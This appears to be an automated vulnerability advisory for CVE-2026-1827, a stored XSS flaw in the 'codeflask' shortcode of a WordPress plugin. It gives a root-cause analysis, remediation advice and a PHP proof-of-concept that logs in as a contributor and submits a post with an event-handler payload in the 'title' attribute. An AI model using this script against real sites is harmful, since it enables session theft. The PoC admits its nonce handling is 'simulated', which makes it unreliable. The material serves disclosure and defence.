Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1827: IDE Micro code-editor <= 1.0.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute (flask-micro)

CVE ID CVE-2026-1827
Plugin flask-micro
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.0
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1827 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Flask Micro code-editor WordPress plugin, version 1.0.0. The vulnerability exists within the plugin’s `codeflask` shortcode handler. Attackers with contributor-level access or higher can inject malicious scripts via the shortcode’s `title` attribute. These scripts are stored in the page content and execute when a user views the compromised page.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping. The CWE-79 classification indicates the plugin fails to properly neutralize user-controlled input before it is placed into web page output. The vulnerability description confirms the issue lies with user-supplied attributes to the shortcode. Without a code diff, this conclusion is based on the CWE pattern and the description of insufficient sanitization and escaping.

Exploitation requires an authenticated attacker with at least contributor-level permissions. The attacker would create or edit a post or page, inserting the vulnerable shortcode with a malicious `title` attribute. The payload would be a standard XSS payload, such as `alert(document.domain)`. The shortcode usage would resemble `[codeflask title=”payload” …]`. Upon saving the post, the malicious script becomes stored. It executes in the browsers of any user who views that page.

Remediation requires implementing proper security functions. The plugin must sanitize the `title` attribute value on input using functions like `sanitize_text_field`. The plugin must also escape the attribute value on output using functions like `esc_attr` before echoing it within HTML attributes. A patch should also validate user capabilities for shortcode execution, though the WordPress contributor role already imposes a baseline check.

The impact of successful exploitation is client-side code execution in the context of the vulnerable site. An attacker can perform actions as the victim user, such as stealing session cookies, performing actions on the WordPress backend, or redirecting users to malicious sites. The CVSS vector indicates impacts on confidentiality and integrity, with a scope change, meaning the vulnerability can affect users beyond the immediate component.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1827 - IDE Micro code-editor <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// PAYLOAD: Basic XSS payload in the 'title' attribute of the codeflask shortcode.
$post_content = "This post contains a malicious shortcode.nn[codeflask title='" onmouseover="alert(document.domain)" bad=' language="python" code="print('hello')"]";
$post_title = 'Post with XSS Shortcode';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// STEP 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard link or failure message.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// STEP 2: Create a new post with the malicious shortcode.
// Assumption: The plugin's shortcode is processed in the standard WordPress post editor.
$new_post_url = $target_url . '/wp-admin/post-new.php';
// First, GET the page to retrieve the nonce for creating a post.
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract the nonce for the 'create-post' action. This pattern is typical.
// The nonce field name may vary; common patterns include '_wpnonce' or 'meta-box-order-nonce'.
// This is a simulated extraction. A real script would use a proper HTML parser.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Could not extract required nonce from the new post page.');
}

// Prepare POST data for creating the post.
$post_data = [
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish', // For contributor, this will submit for review.
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post',
    'post_status' => 'pending', // Contributor role creates posts as 'pending'.
    'user_ID' => '2' // This would need to be dynamically fetched.
];

$save_post_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $save_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check for a successful response.
if (strpos($response, 'Post submitted') !== false || strpos($response, 'Post published') !== false || strpos($response, $post_title) !== false) {
    echo "Proof-of-concept likely successful. A post containing the malicious shortcode has been submitted.n";
    echo "The XSS payload will execute when a user views the published post.n";
} else {
    echo "Post creation may have failed. Manual verification required.n";
}

curl_close($ch);
?>

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